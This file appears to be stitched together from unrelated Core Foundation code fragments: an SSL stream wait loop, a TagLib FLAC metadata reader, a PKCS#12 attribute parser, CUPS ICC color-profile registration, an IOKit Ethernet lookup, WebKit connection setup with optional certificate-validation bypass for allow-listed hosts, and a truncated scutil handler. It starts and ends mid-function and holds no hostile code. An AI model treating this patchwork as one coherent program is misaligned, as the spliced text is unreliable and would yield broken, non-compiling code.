CFWriteStreamSetProperty(cfstream_data->writeStream, kCFStreamPropertySSLSettings, settings);
CFRelease(settings);
//fprintf(stderr, "is not ssl\n");
}
// We need to investigate more about how to establish a STARTTLS connection.
// For now, wait until we get the certificate chain.
while (1) {
r = wait_runloop(s->low, STATE_WAIT_SSL);
if (r != WAIT_RUNLOOP_EXIT_NO_ERROR) {
return -1;
}
if (cfstream_data->writeSSLResult < 0)
return -1;
if (cfstream_data->readSSLResult < 0)
return -1;
SecTrustRef secTrust = (SecTrustRef)CFReadStreamCopyProperty(cfstream_data->readStream, kCFStreamPropertySSLPeerTrust);
if (secTrust == NULL) {
// No trust, wait more.
continue;
}
CFIndex count = SecTrustGetCertificateCount(secTrust);
CFRelease(secTrust);
if (count == 0) {
// No certificates, wait more.
continue;
}
break;
}
return 0;
#else
return -1;
#endif
}
bool FLACMetadata::ReadMetadata(CFErrorRef *error)
{
// Start from scratch
CFDictionaryRemoveAllValues(mMetadata);
CFDictionaryRemoveAllValues(mChangedMetadata);
UInt8 buf [PATH_MAX];
if(!CFURLGetFileSystemRepresentation(mURL, false, buf, PATH_MAX))
return false;
auto stream = new TagLib::FileStream(reinterpret_cast<const char *>(buf), true);
TagLib::FLAC::File file(stream, TagLib::ID3v2::FrameFactory::instance());
if(!file.isValid()) {
if(nullptr != error) {
CFStringRef description = CFCopyLocalizedString(CFSTR("The file “%@” is not a valid FLAC file."), "");
CFStringRef failureReason = CFCopyLocalizedString(CFSTR("Not a FLAC file"), "");
CFStringRef recoverySuggestion = CFCopyLocalizedString(CFSTR("The file's extension may not match the file's type."), "");
*error = CreateErrorForURL(AudioMetadataErrorDomain, AudioMetadataInputOutputError, description, mURL, failureReason, recoverySuggestion);
CFRelease(description), description = nullptr;
CFRelease(failureReason), failureReason = nullptr;
CFRelease(recoverySuggestion), recoverySuggestion = nullptr;
}
return false;
}
CFDictionarySetValue(mMetadata, kPropertiesFormatNameKey, CFSTR("FLAC"));
if(file.audioProperties()) {
auto properties = file.audioProperties();
AddAudioPropertiesToDictionary(mMetadata, properties);
if(properties->sampleWidth())
AddIntToDictionary(mMetadata, kPropertiesBitsPerChannelKey, properties->sampleWidth());
if(properties->sampleFrames())
AddLongLongToDictionary(mMetadata, kPropertiesTotalFramesKey, properties->sampleFrames());
}
// Add all tags that are present
if(file.ID3v1Tag())
AddID3v1TagToDictionary(mMetadata, file.ID3v1Tag());
if(file.ID3v2Tag()) {
std::vector<AttachedPicture *> pictures;
AddID3v2TagToDictionary(mMetadata, pictures, file.ID3v2Tag());
for(auto picture : pictures)
AddSavedPicture(picture);
}
if(file.xiphComment()) {
std::vector<AttachedPicture *> pictures;
AddXiphCommentToDictionary(mMetadata, pictures, file.xiphComment());
for(auto picture : pictures)
AddSavedPicture(picture);
}
// Add album art
for(auto iter : file.pictureList()) {
CFDataRef data = CFDataCreate(kCFAllocatorDefault, reinterpret_cast<const UInt8 *>(iter->data().data()), iter->data().size());
CFStringRef description = nullptr;
if(!iter->description().isNull())
description = CFStringCreateWithCString(kCFAllocatorDefault, iter->description().toCString(true), kCFStringEncodingUTF8);
AttachedPicture *picture = new AttachedPicture(data, static_cast<AttachedPicture::Type>(iter->type()), description);
AddSavedPicture(picture);
if(data)
CFRelease(data), data = nullptr;
if(description)
CFRelease(description), description = nullptr;
}
return true;
}
static int emit_item(pkcs12_context * context, NSS_Attribute **attrs,
CFStringRef item_key, CFTypeRef item_value)
{
int result = -1;
/* parse attrs into friendlyName, localKeyId; ignoring generic attrs */
CFMutableDictionaryRef attr_dict = CFDictionaryCreateMutable(kCFAllocatorDefault,
0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
require(attr_dict, out);
unsigned numAttrs = nssArraySize((const void **)attrs);
unsigned int dex;
for(dex = 0; dex < numAttrs; dex++) {
NSS_Attribute *attr = attrs[dex];
unsigned numValues = nssArraySize((const void**)attr->attrValue);
DERItem type = { attr->attrType.Data, attr->attrType.Length };
if(DEROidCompare(&type, &oidFriendlyName)) {
/*
* BMP string (UniCode). Spec says only one legal value.
*/
require(numValues == 1, out);
SecAsn1Item friendly_name_asn1;
require_noerr(decode_item(context, attr->attrValue[0],
kSecAsn1BMPStringTemplate, &friendly_name_asn1), out);
CFStringRef friendly_name = CFStringCreateWithBytes(kCFAllocatorDefault,
friendly_name_asn1.Data, friendly_name_asn1.Length,
kCFStringEncodingUnicode, true);
if (friendly_name) {
CFDictionarySetValue(attr_dict, kSecImportItemLabel, friendly_name);
CFRelease(friendly_name);
}
}
else if(DEROidCompare(&type, &oidLocalKeyId)) {
/*
* Octet string. Spec says only one legal value.
*/
require(numValues == 1, out);
SecAsn1Item local_key_id;
require_noerr(decode_item(context, attr->attrValue[0],
kSecAsn1OctetStringTemplate, &local_key_id), out);
CFDataRef keyid = CFDataCreate(kCFAllocatorDefault, local_key_id.Data, local_key_id.Length);
if (keyid) {
CFDictionarySetValue(attr_dict, kSecImportItemKeyID, keyid);
CFRelease(keyid);
}
}
}
CFTypeRef key = CFDictionaryGetValue(attr_dict, kSecImportItemKeyID);
if (!key)
key = CFDictionaryGetValue(attr_dict, kSecImportItemLabel);
if (!key)
key = item_value;
CFMutableDictionaryRef item = (CFMutableDictionaryRef)CFDictionaryGetValue(context->items, key);
if (item) {
CFDictionarySetValue(item, item_key, item_value);
} else {
CFDictionarySetValue(attr_dict, item_key, item_value);
CFDictionarySetValue(context->items, key, attr_dict);
}
result = 0;
out:
CFReleaseSafe(attr_dict);
return result;
}
static void
apple_init_profile(
ppd_file_t *ppd, /* I - PPD file */
cups_array_t *languages, /* I - Languages in the PPD file */
CFMutableDictionaryRef profile, /* I - Profile dictionary */
unsigned id, /* I - Profile ID */
const char *name, /* I - Profile name */
const char *text, /* I - Profile UI text */
const char *iccfile) /* I - ICC filename */
{
CFURLRef url; /* URL for profile filename */
CFMutableDictionaryRef dict; /* Dictionary for name */
char *language; /* Current language */
ppd_attr_t *attr; /* Profile attribute */
CFStringRef cflang, /* Language string */
cftext; /* Localized text */
(void)id;
/*
* Build the profile name dictionary...
*/
dict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0,
&kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks);
if (!dict)
{
cupsdLogMessage(CUPSD_LOG_ERROR, "Unable to initialize profile \"%s\".",
iccfile);
return;
}
cftext = CFStringCreateWithCString(kCFAllocatorDefault, text,
kCFStringEncodingUTF8);
if (cftext)
{
CFDictionarySetValue(dict, CFSTR("en_US"), cftext);
CFRelease(cftext);
}
if (languages)
{
/*
* Find localized names for the color profiles...
*/
cupsArraySave(ppd->sorted_attrs);
for (language = (char *)cupsArrayFirst(languages);
language;
language = (char *)cupsArrayNext(languages))
{
if (iccfile)
{
if ((attr = _ppdLocalizedAttr(ppd, "cupsICCProfile", name,
language)) == NULL)
attr = _ppdLocalizedAttr(ppd, "APTiogaProfile", name, language);
}
else
attr = _ppdLocalizedAttr(ppd, "ColorModel", name, language);
if (attr && attr->text[0])
{
cflang = CFStringCreateWithCString(kCFAllocatorDefault, language,
kCFStringEncodingUTF8);
cftext = CFStringCreateWithCString(kCFAllocatorDefault, attr->text,
kCFStringEncodingUTF8);
if (cflang && cftext)
CFDictionarySetValue(dict, cflang, cftext);
if (cflang)
CFRelease(cflang);
if (cftext)
CFRelease(cftext);
}
}
cupsArrayRestore(ppd->sorted_attrs);
}
/*
* Fill in the profile data...
*/
if (iccfile && *iccfile)
{
url = CFURLCreateFromFileSystemRepresentation(kCFAllocatorDefault, (const UInt8 *)iccfile, (CFIndex)strlen(iccfile), false);
if (url)
{
CFDictionarySetValue(profile, kColorSyncDeviceProfileURL, url);
CFRelease(url);
}
}
CFDictionarySetValue(profile, kColorSyncDeviceModeDescriptions, dict);
CFRelease(dict);
}
// Returns an iterator containing the primary (built-in) Ethernet interface. The caller is responsible for
// releasing the iterator after the caller is done with it.
static kern_return_t FindEthernetInterfaces(io_iterator_t *matchingServices)
{
kern_return_t kernResult;
CFMutableDictionaryRef matchingDict;
CFMutableDictionaryRef propertyMatchDict;
// Ethernet interfaces are instances of class kIOEthernetInterfaceClass.
// IOServiceMatching is a convenience function to create a dictionary with the key kIOProviderClassKey and
// the specified value.
matchingDict = IOServiceMatching(kIOEthernetInterfaceClass);
// Note that another option here would be:
// matchingDict = IOBSDMatching("en0");
if (NULL == matchingDict) {
printf("IOServiceMatching returned a NULL dictionary.\n");
}
else {
// Each IONetworkInterface object has a Boolean property with the key kIOPrimaryInterface. Only the
// primary (built-in) interface has this property set to TRUE.
// IOServiceGetMatchingServices uses the default matching criteria defined by IOService. This considers
// only the following properties plus any family-specific matching in this order of precedence
// (see IOService::passiveMatch):
//
// kIOProviderClassKey (IOServiceMatching)
// kIONameMatchKey (IOServiceNameMatching)
// kIOPropertyMatchKey
// kIOPathMatchKey
// kIOMatchedServiceCountKey
// family-specific matching
// kIOBSDNameKey (IOBSDNameMatching)
// kIOLocationMatchKey
// The IONetworkingFamily does not define any family-specific matching. This means that in
// order to have IOServiceGetMatchingServices consider the kIOPrimaryInterface property, we must
// add that property to a separate dictionary and then add that to our matching dictionary
// specifying kIOPropertyMatchKey.
propertyMatchDict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0,
&kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks);
if (NULL == propertyMatchDict) {
printf("CFDictionaryCreateMutable returned a NULL dictionary.\n");
}
else {
// Set the value in the dictionary of the property with the given key, or add the key
// to the dictionary if it doesn't exist. This call retains the value object passed in.
CFDictionarySetValue(propertyMatchDict, CFSTR(kIOPrimaryInterface), kCFBooleanTrue);
// Now add the dictionary containing the matching value for kIOPrimaryInterface to our main
// matching dictionary. This call will retain propertyMatchDict, so we can release our reference
// on propertyMatchDict after adding it to matchingDict.
CFDictionarySetValue(matchingDict, CFSTR(kIOPropertyMatchKey), propertyMatchDict);
CFRelease(propertyMatchDict);
}
}
// IOServiceGetMatchingServices retains the returned iterator, so release the iterator when we're done with it.
// IOServiceGetMatchingServices also consumes a reference on the matching dictionary so we don't need to release
// the dictionary explicitly.
kernResult = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, matchingServices);
if (KERN_SUCCESS != kernResult) {
printf("IOServiceGetMatchingServices returned 0x%08x\n", kernResult);
}
return kernResult;
}
static void
apple_register_profiles(
cupsd_printer_t *p) /* I - Printer */
{
int i; /* Looping var */
char ppdfile[1024], /* PPD filename */
iccfile[1024], /* ICC filename */
selector[PPD_MAX_NAME];
/* Profile selection string */
ppd_file_t *ppd; /* PPD file */
ppd_attr_t *attr, /* Profile attributes */
*profileid_attr,/* cupsProfileID attribute */
*q1_attr, /* ColorModel (or other) qualifier */
*q2_attr, /* MediaType (or other) qualifier */
*q3_attr; /* Resolution (or other) qualifier */
char q_keyword[PPD_MAX_NAME];
/* Qualifier keyword */
const char *q1_choice, /* ColorModel (or other) choice */
*q2_choice, /* MediaType (or other) choice */
*q3_choice; /* Resolution (or other) choice */
ppd_option_t *cm_option; /* Color model option */
ppd_choice_t *cm_choice; /* Color model choice */
int num_profiles; /* Number of profiles */
OSStatus error = 0; /* Last error */
unsigned device_id, /* Printer device ID */
profile_id = 0, /* Profile ID */
default_profile_id = 0;
/* Default profile ID */
CFMutableDictionaryRef device_name; /* Printer device name dictionary */
CFStringRef printer_name; /* Printer name string */
cups_array_t *languages; /* Languages array */
CFMutableDictionaryRef profiles, /* Dictionary of profiles */
profile; /* Current profile info dictionary */
CFStringRef dict_key; /* Key in factory profile dictionary */
/*
* Make sure ColorSync is available...
*/
if (&ColorSyncRegisterDevice == NULL)
return;
/*
* Try opening the PPD file for this printer...
*/
snprintf(ppdfile, sizeof(ppdfile), "%s/ppd/%s.ppd", ServerRoot, p->name);
if ((ppd = _ppdOpenFile(ppdfile, _PPD_LOCALIZATION_ICC_PROFILES)) == NULL)
return;
/*
* See if we have any profiles...
*/
for (num_profiles = 0, attr = ppdFindAttr(ppd, "cupsICCProfile", NULL);
attr;
attr = ppdFindNextAttr(ppd, "cupsICCProfile", NULL))
if (attr->spec[0] && attr->value && attr->value[0])
{
if (attr->value[0] != '/')
snprintf(iccfile, sizeof(iccfile), "%s/profiles/%s", DataDir,
attr->value);
else
strlcpy(iccfile, attr->value, sizeof(iccfile));
if (access(iccfile, 0))
{
cupsdLogMessage(CUPSD_LOG_ERROR,
"%s: ICC Profile \"%s\" does not exist.", p->name,
iccfile);
cupsdSetPrinterReasons(p, "+cups-missing-filter-warning");
continue;
}
num_profiles ++;
}
/*
* Create a dictionary for the factory profiles...
*/
profiles = CFDictionaryCreateMutable(kCFAllocatorDefault, 0,
&kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks);
if (!profiles)
{
cupsdLogMessage(CUPSD_LOG_ERROR,
"Unable to allocate memory for factory profiles.");
ppdClose(ppd);
return;
}
/*
* If we have profiles, add them...
*/
if (num_profiles > 0)
{
/*
* For CUPS PPDs, figure out the default profile selector values...
*/
if ((attr = ppdFindAttr(ppd, "cupsICCQualifier1", NULL)) != NULL &&
attr->value && attr->value[0])
{
snprintf(q_keyword, sizeof(q_keyword), "Default%s", attr->value);
q1_attr = ppdFindAttr(ppd, q_keyword, NULL);
}
else if ((q1_attr = ppdFindAttr(ppd, "DefaultColorModel", NULL)) == NULL)
q1_attr = ppdFindAttr(ppd, "DefaultColorSpace", NULL);
if (q1_attr && q1_attr->value && q1_attr->value[0])
q1_choice = q1_attr->value;
else
q1_choice = "";
if ((attr = ppdFindAttr(ppd, "cupsICCQualifier2", NULL)) != NULL &&
attr->value && attr->value[0])
{
snprintf(q_keyword, sizeof(q_keyword), "Default%s", attr->value);
q2_attr = ppdFindAttr(ppd, q_keyword, NULL);
}
else
q2_attr = ppdFindAttr(ppd, "DefaultMediaType", NULL);
if (q2_attr && q2_attr->value && q2_attr->value[0])
q2_choice = q2_attr->value;
else
q2_choice = NULL;
if ((attr = ppdFindAttr(ppd, "cupsICCQualifier3", NULL)) != NULL &&
attr->value && attr->value[0])
{
snprintf(q_keyword, sizeof(q_keyword), "Default%s", attr->value);
q3_attr = ppdFindAttr(ppd, q_keyword, NULL);
}
else
q3_attr = ppdFindAttr(ppd, "DefaultResolution", NULL);
if (q3_attr && q3_attr->value && q3_attr->value[0])
q3_choice = q3_attr->value;
else
q3_choice = NULL;
/*
* Loop through the profiles listed in the PPD...
*/
languages = _ppdGetLanguages(ppd);
for (attr = ppdFindAttr(ppd, "cupsICCProfile", NULL);
attr;
attr = ppdFindNextAttr(ppd, "cupsICCProfile", NULL))
if (attr->spec[0] && attr->value && attr->value[0])
{
/*
* Add this profile...
*/
if (attr->value[0] != '/')
snprintf(iccfile, sizeof(iccfile), "%s/profiles/%s", DataDir,
attr->value);
else
strlcpy(iccfile, attr->value, sizeof(iccfile));
if (_cupsFileCheck(iccfile, _CUPS_FILE_CHECK_FILE, !RunUser,
cupsdLogFCMessage, p))
iccfile[0] = '\0';
cupsArraySave(ppd->sorted_attrs);
if ((profileid_attr = ppdFindAttr(ppd, "cupsProfileID",
attr->spec)) != NULL &&
profileid_attr->value && isdigit(profileid_attr->value[0] & 255))
profile_id = (unsigned)strtoul(profileid_attr->value, NULL, 10);
else
profile_id = _ppdHashName(attr->spec);
cupsArrayRestore(ppd->sorted_attrs);
profile = CFDictionaryCreateMutable(kCFAllocatorDefault, 0,
&kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks);
if (!profile)
{
cupsdLogMessage(CUPSD_LOG_ERROR,
"Unable to allocate memory for color profile.");
CFRelease(profiles);
ppdClose(ppd);
return;
}
apple_init_profile(ppd, languages, profile, profile_id, attr->spec,
attr->text[0] ? attr->text : attr->spec, iccfile);
dict_key = CFStringCreateWithFormat(kCFAllocatorDefault, NULL,
CFSTR("%u"), profile_id);
if (dict_key)
{
CFDictionarySetValue(profiles, dict_key, profile);
CFRelease(dict_key);
}
CFRelease(profile);
/*
* See if this is the default profile...
*/
if (!default_profile_id && q1_choice && q2_choice && q3_choice)
{
snprintf(selector, sizeof(selector), "%s.%s.%s", q1_choice, q2_choice,
q3_choice);
if (!strcmp(selector, attr->spec))
default_profile_id = profile_id;
}
if (!default_profile_id && q1_choice && q2_choice)
{
snprintf(selector, sizeof(selector), "%s.%s.", q1_choice, q2_choice);
if (!strcmp(selector, attr->spec))
default_profile_id = profile_id;
}
if (!default_profile_id && q1_choice && q3_choice)
{
snprintf(selector, sizeof(selector), "%s..%s", q1_choice, q3_choice);
if (!strcmp(selector, attr->spec))
default_profile_id = profile_id;
}
if (!default_profile_id && q1_choice)
{
snprintf(selector, sizeof(selector), "%s..", q1_choice);
if (!strcmp(selector, attr->spec))
default_profile_id = profile_id;
}
if (!default_profile_id && q2_choice && q3_choice)
{
snprintf(selector, sizeof(selector), ".%s.%s", q2_choice, q3_choice);
if (!strcmp(selector, attr->spec))
default_profile_id = profile_id;
}
if (!default_profile_id && q2_choice)
{
snprintf(selector, sizeof(selector), ".%s.", q2_choice);
if (!strcmp(selector, attr->spec))
default_profile_id = profile_id;
}
if (!default_profile_id && q3_choice)
{
snprintf(selector, sizeof(selector), "..%s", q3_choice);
if (!strcmp(selector, attr->spec))
default_profile_id = profile_id;
}
}
_ppdFreeLanguages(languages);
}
else if ((cm_option = ppdFindOption(ppd, "ColorModel")) != NULL)
{
/*
* Extract profiles from ColorModel option...
*/
const char *profile_name; /* Name of generic profile */
num_profiles = cm_option->num_choices;
for (i = cm_option->num_choices, cm_choice = cm_option->choices;
i > 0;
i --, cm_choice ++)
{
if (!strcmp(cm_choice->choice, "Gray") ||
!strcmp(cm_choice->choice, "Black"))
profile_name = "Gray";
else if (!strcmp(cm_choice->choice, "RGB") ||
!strcmp(cm_choice->choice, "CMY"))
profile_name = "RGB";
else if (!strcmp(cm_choice->choice, "CMYK") ||
!strcmp(cm_choice->choice, "KCMY"))
profile_name = "CMYK";
else
profile_name = "DeviceN";
snprintf(selector, sizeof(selector), "%s..", profile_name);
profile_id = _ppdHashName(selector);
profile = CFDictionaryCreateMutable(kCFAllocatorDefault, 0,
&kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks);
if (!profile)
{
cupsdLogMessage(CUPSD_LOG_ERROR,
"Unable to allocate memory for color profile.");
CFRelease(profiles);
ppdClose(ppd);
return;
}
apple_init_profile(ppd, NULL, profile, profile_id, cm_choice->choice,
cm_choice->text, NULL);
dict_key = CFStringCreateWithFormat(kCFAllocatorDefault, NULL,
CFSTR("%u"), profile_id);
if (dict_key)
{
CFDictionarySetValue(profiles, dict_key, profile);
CFRelease(dict_key);
}
CFRelease(profile);
if (cm_choice->marked)
default_profile_id = profile_id;
}
}
else
{
/*
* Use the default colorspace...
*/
attr = ppdFindAttr(ppd, "DefaultColorSpace", NULL);
num_profiles = (attr && ppd->colorspace == PPD_CS_GRAY) ? 1 : 2;
/*
* Add the grayscale profile first. We always have a grayscale profile.
*/
profile = CFDictionaryCreateMutable(kCFAllocatorDefault, 0,
&kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks);
if (!profile)
{
cupsdLogMessage(CUPSD_LOG_ERROR,
"Unable to allocate memory for color profile.");
CFRelease(profiles);
ppdClose(ppd);
return;
}
profile_id = _ppdHashName("Gray..");
apple_init_profile(ppd, NULL, profile, profile_id, "Gray", "Gray", NULL);
dict_key = CFStringCreateWithFormat(kCFAllocatorDefault, NULL, CFSTR("%u"),
profile_id);
if (dict_key)
{
CFDictionarySetValue(profiles, dict_key, profile);
CFRelease(dict_key);
}
CFRelease(profile);
/*
* Then add the RGB/CMYK/DeviceN color profile...
*/
profile = CFDictionaryCreateMutable(kCFAllocatorDefault, 0,
&kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks);
if (!profile)
{
cupsdLogMessage(CUPSD_LOG_ERROR,
"Unable to allocate memory for color profile.");
CFRelease(profiles);
ppdClose(ppd);
return;
}
switch (ppd->colorspace)
{
default :
case PPD_CS_RGB :
case PPD_CS_CMY :
profile_id = _ppdHashName("RGB..");
apple_init_profile(ppd, NULL, profile, profile_id, "RGB", "RGB",
NULL);
break;
case PPD_CS_RGBK :
case PPD_CS_CMYK :
profile_id = _ppdHashName("CMYK..");
apple_init_profile(ppd, NULL, profile, profile_id, "CMYK", "CMYK",
NULL);
break;
case PPD_CS_GRAY :
if (attr)
break;
case PPD_CS_N :
profile_id = _ppdHashName("DeviceN..");
apple_init_profile(ppd, NULL, profile, profile_id, "DeviceN",
"DeviceN", NULL);
break;
}
if (CFDictionaryGetCount(profile) > 0)
{
dict_key = CFStringCreateWithFormat(kCFAllocatorDefault, NULL,
CFSTR("%u"), profile_id);
if (dict_key)
{
CFDictionarySetValue(profiles, dict_key, profile);
CFRelease(dict_key);
}
}
CFRelease(profile);
}
if (num_profiles > 0)
{
/*
* Make sure we have a default profile ID...
*/
if (!default_profile_id)
default_profile_id = profile_id; /* Last profile */
dict_key = CFStringCreateWithFormat(kCFAllocatorDefault, NULL, CFSTR("%u"),
default_profile_id);
if (dict_key)
{
CFDictionarySetValue(profiles, kColorSyncDeviceDefaultProfileID,
dict_key);
CFRelease(dict_key);
}
/*
* Get the device ID hash and pathelogical name dictionary.
*/
cupsdLogMessage(CUPSD_LOG_INFO, "Registering ICC color profiles for \"%s\"",
p->name);
device_id = _ppdHashName(p->name);
device_name = CFDictionaryCreateMutable(kCFAllocatorDefault, 0,
&kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks);
printer_name = CFStringCreateWithCString(kCFAllocatorDefault,
p->name, kCFStringEncodingUTF8);
if (device_name && printer_name)
{
/*
* Register the device with ColorSync...
*/
CFTypeRef deviceDictKeys[] =
{ /* Device keys */
kColorSyncDeviceDescriptions,
kColorSyncFactoryProfiles,
kColorSyncDeviceUserScope,
kColorSyncDeviceHostScope
};
CFTypeRef deviceDictVals[] =
{ /* Device values */
device_name,
profiles,
kCFPreferencesAnyUser,
kCFPreferencesCurrentHost
};
CFDictionaryRef deviceDict; /* Device dictionary */
CFUUIDRef deviceUUID; /* Device UUID */
CFDictionarySetValue(device_name, CFSTR("en_US"), printer_name);
deviceDict = CFDictionaryCreate(kCFAllocatorDefault,
(const void **)deviceDictKeys,
(const void **)deviceDictVals,
sizeof(deviceDictKeys) /
sizeof(deviceDictKeys[0]),
&kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks);
deviceUUID = ColorSyncCreateUUIDFromUInt32(device_id);
if (!deviceDict || !deviceUUID ||
!ColorSyncRegisterDevice(kColorSyncPrinterDeviceClass, deviceUUID,
deviceDict))
error = 1001;
if (deviceUUID)
CFRelease(deviceUUID);
if (deviceDict)
CFRelease(deviceDict);
}
else
error = 1000;
/*
* Clean up...
*/
if (error != noErr)
cupsdLogMessage(CUPSD_LOG_ERROR,
"Unable to register ICC color profiles for \"%s\": %d",
p->name, (int)error);
if (printer_name)
CFRelease(printer_name);
if (device_name)
CFRelease(device_name);
}
/*
* Free any memory we used...
*/
CFRelease(profiles);
ppdClose(ppd);
}
static void writeVolatileValue(CFTypeRef context, void *domain, CFStringRef key, CFTypeRef value) {
if (value)
CFDictionarySetValue((CFMutableDictionaryRef )domain, key, value);
else
CFDictionaryRemoveValue((CFMutableDictionaryRef )domain, key);
}
void ResourceHandle::createCFURLConnection(bool shouldUseCredentialStorage, bool shouldContentSniff, SchedulingBehavior schedulingBehavior, CFDictionaryRef clientProperties)
{
if ((!d->m_user.isEmpty() || !d->m_pass.isEmpty()) && !firstRequest().url().protocolIsInHTTPFamily()) {
// Credentials for ftp can only be passed in URL, the didReceiveAuthenticationChallenge delegate call won't be made.
URL urlWithCredentials(firstRequest().url());
urlWithCredentials.setUser(d->m_user);
urlWithCredentials.setPass(d->m_pass);
firstRequest().setURL(urlWithCredentials);
}
// <rdar://problem/7174050> - For URLs that match the paths of those previously challenged for HTTP Basic authentication,
// try and reuse the credential preemptively, as allowed by RFC 2617.
if (shouldUseCredentialStorage && firstRequest().url().protocolIsInHTTPFamily()) {
if (d->m_user.isEmpty() && d->m_pass.isEmpty()) {
// <rdar://problem/7174050> - For URLs that match the paths of those previously challenged for HTTP Basic authentication,
// try and reuse the credential preemptively, as allowed by RFC 2617.
d->m_initialCredential = CredentialStorage::get(firstRequest().url());
} else {
// If there is already a protection space known for the URL, update stored credentials before sending a request.
// This makes it possible to implement logout by sending an XMLHttpRequest with known incorrect credentials, and aborting it immediately
// (so that an authentication dialog doesn't pop up).
CredentialStorage::set(Credential(d->m_user, d->m_pass, CredentialPersistenceNone), firstRequest().url());
}
}
if (!d->m_initialCredential.isEmpty()) {
// FIXME: Support Digest authentication, and Proxy-Authorization.
applyBasicAuthorizationHeader(firstRequest(), d->m_initialCredential);
}
RetainPtr<CFMutableURLRequestRef> request = adoptCF(CFURLRequestCreateMutableCopy(kCFAllocatorDefault, firstRequest().cfURLRequest(UpdateHTTPBody)));
wkSetRequestStorageSession(d->m_storageSession.get(), request.get());
if (!shouldContentSniff)
wkSetCFURLRequestShouldContentSniff(request.get(), false);
RetainPtr<CFMutableDictionaryRef> sslProps;
#if PLATFORM(IOS)
sslProps = adoptCF(ResourceHandle::createSSLPropertiesFromNSURLRequest(firstRequest()));
#else
if (allowsAnyHTTPSCertificateHosts().contains(firstRequest().url().host().lower())) {
sslProps = adoptCF(CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks));
CFDictionaryAddValue(sslProps.get(), kCFStreamSSLAllowsAnyRoot, kCFBooleanTrue);
CFDictionaryAddValue(sslProps.get(), kCFStreamSSLAllowsExpiredRoots, kCFBooleanTrue);
CFDictionaryAddValue(sslProps.get(), kCFStreamSSLAllowsExpiredCertificates, kCFBooleanTrue);
CFDictionaryAddValue(sslProps.get(), kCFStreamSSLValidatesCertificateChain, kCFBooleanFalse);
}
HashMap<String, RetainPtr<CFDataRef>>::iterator clientCert = clientCerts().find(firstRequest().url().host().lower());
if (clientCert != clientCerts().end()) {
if (!sslProps)
sslProps = adoptCF(CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks));
#if PLATFORM(WIN)
wkSetClientCertificateInSSLProperties(sslProps.get(), (clientCert->value).get());
#endif
}
#endif // PLATFORM(IOS)
if (sslProps)
CFURLRequestSetSSLProperties(request.get(), sslProps.get());
#if PLATFORM(WIN)
if (CFHTTPCookieStorageRef cookieStorage = overridenCookieStorage()) {
// Overridden cookie storage doesn't come from a session, so the request does not have it yet.
CFURLRequestSetHTTPCookieStorage(request.get(), cookieStorage);
}
#endif
CFMutableDictionaryRef streamProperties = CFDictionaryCreateMutable(0, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
if (!shouldUseCredentialStorage) {
// Avoid using existing connections, because they may be already authenticated.
CFDictionarySetValue(streamProperties, CFSTR("_kCFURLConnectionSessionID"), CFSTR("WebKitPrivateSession"));
}
if (schedulingBehavior == SchedulingBehavior::Synchronous) {
// Synchronous requests should not be subject to regular connection count limit to avoid deadlocks.
// If we are using all available connections for async requests, and make a sync request, then prior
// requests may get stuck waiting for delegate calls while we are in nested run loop, and the sync
// request won't start because there are no available connections.
// Connections are grouped by their socket stream properties, with each group having a separate count.
CFDictionarySetValue(streamProperties, CFSTR("_WebKitSynchronousRequest"), kCFBooleanTrue);
}
#if PLATFORM(IOS) || (PLATFORM(MAC) && __MAC_OS_X_VERSION_MIN_REQUIRED >= 1090)
RetainPtr<CFDataRef> sourceApplicationAuditData = d->m_context->sourceApplicationAuditData();
if (sourceApplicationAuditData)
CFDictionarySetValue(streamProperties, CFSTR("kCFStreamPropertySourceApplication"), sourceApplicationAuditData.get());
#endif
static const CFStringRef kCFURLConnectionSocketStreamProperties = CFSTR("kCFURLConnectionSocketStreamProperties");
RetainPtr<CFMutableDictionaryRef> propertiesDictionary;
if (clientProperties)
propertiesDictionary = adoptCF(CFDictionaryCreateMutableCopy(kCFAllocatorDefault, 0, clientProperties));
else
propertiesDictionary = adoptCF(CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks));
// FIXME: This code is different from iOS code in ResourceHandleMac.mm in that here we ignore stream properties that were present in client properties.
CFDictionaryAddValue(propertiesDictionary.get(), kCFURLConnectionSocketStreamProperties, streamProperties);
CFRelease(streamProperties);
#if PLATFORM(COCOA)
if (client() && client()->usesAsyncCallbacks())
d->m_connectionDelegate = adoptRef(new ResourceHandleCFURLConnectionDelegateWithOperationQueue(this));
else
d->m_connectionDelegate = adoptRef(new SynchronousResourceHandleCFURLConnectionDelegate(this));
#else
d->m_connectionDelegate = adoptRef(new SynchronousResourceHandleCFURLConnectionDelegate(this));
#endif
d->m_connectionDelegate->setupRequest(request.get());
CFURLConnectionClient_V6 client = d->m_connectionDelegate->makeConnectionClient();
d->m_connection = adoptCF(CFURLConnectionCreateWithProperties(0, request.get(), reinterpret_cast<CFURLConnectionClient*>(&client), propertiesDictionary.get()));
}
__private_extern__
void
do_dictSetKey(int argc, char **argv)
{
CFMutableArrayRef array = NULL;
Boolean doArray = FALSE;
Boolean doBoolean = FALSE;
Boolean doData = FALSE;
Boolean doNumeric = FALSE;
CFStringRef key;
CFMutableDictionaryRef newValue;
CFTypeRef val = NULL;
if (value == NULL) {
SCPrint(TRUE, stdout, CFSTR("d.add: dictionary must be initialized.\n"));
return;
}
if (!isA_CFDictionary(value)) {
SCPrint(TRUE, stdout, CFSTR("d.add: data (fetched from configuration server) is not a dictionary.\n"));
return;
}
